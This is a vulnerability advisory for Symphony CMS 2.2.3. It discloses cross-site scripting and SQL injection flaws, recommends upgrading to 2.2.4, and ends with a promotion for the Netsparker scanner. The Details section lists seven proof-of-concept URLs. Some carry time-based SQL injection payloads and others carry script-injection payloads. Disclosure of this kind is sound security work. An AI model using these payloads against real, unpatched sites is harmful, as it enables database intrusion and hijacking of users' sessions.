Information
--------------------
Name :  XSS and SQL Injection Vulnerabilities on Symphony CMS
Software :  Symphony CMS 2.2.3 and possibly below
Vendor Homepage :  http://symphony-cms.com
Vulnerability Type :  Cross-Site Scripting and SQL Injection
Severity :  Critical
Researcher :  Mesut Timur <mesut [at] mavitunasecurity [dot] com>
Advisory Reference :  NS-11-008

Description
------------------
Symphony is a web-based content management system (CMS) that enables
users to create and manage websites and web applications of all shapes
and sizes—from the simplest of blogs to bustling news sites and
feature-packed social networks.

Details
-------------------
Symphony is affected by several XSS and SQL Injection vulnerabilities.
Example PoC urls are as follows :

    http://example.com/symphony/publish/comments/?filter='+(SELECT+1+FROM+(SELECT+SLEEP(25))A)+'
    http://example.com/symphony/publish/images/?filter='+(SELECT+1+FROM+(SELECT+SLEEP(25))A)+'
    http://example.com/?profile='"--></style></script><script>alert(1)</script>
    http://example.com/symphony/publish/comments/?filter='"--></style></script><script>alert(1)</script>
    http://example.com/symphony/publish/images/?filter='"--></style></script><script>alert(1)</script>
    http://example.com/about/?profile='"--></style></script><script>alert(1)</script>
    http://example.com/drafts/?profile='"--></style></script><script>alert(1)</script>


You can read the full article about Cross-Site Scripting and SQL
Injection vulnerabilities from here :

http://www.mavitunasecurity.com/crosssite-scripting-xss/
http://www.mavitunasecurity.com/sql-injection/


Solution
-------------------
Upgrade to the latest Symphony version (2.2.4).

Credits
-------------------
It has been discovered on testing of Netsparker, Web Application
Security Scanner - http://www.mavitunasecurity.com/netsparker/.

References
-------------------
1. Vendor URL: http://symphony-cms.com/download/releases/version/2.2.4/
2. Netsparker Advisories :
http://www.mavitunasecurity.com/netsparker-advisories/
3. MSL Advisory :
http://www.mavitunasecurity.com/xss-and-sql-injection-vulnerabilities-in-symphony-cms/

About Netsparker
-------------------
Netsparker® can find and report security issues such as SQL Injection
and Cross-site Scripting (XSS) in all web applications regardless of
the platform and the technology they are built on. Netsparker's unique
detection and exploitation techniques allows it to be dead accurate in
reporting hence it's the first and the only False Positive Free web
application security scanner.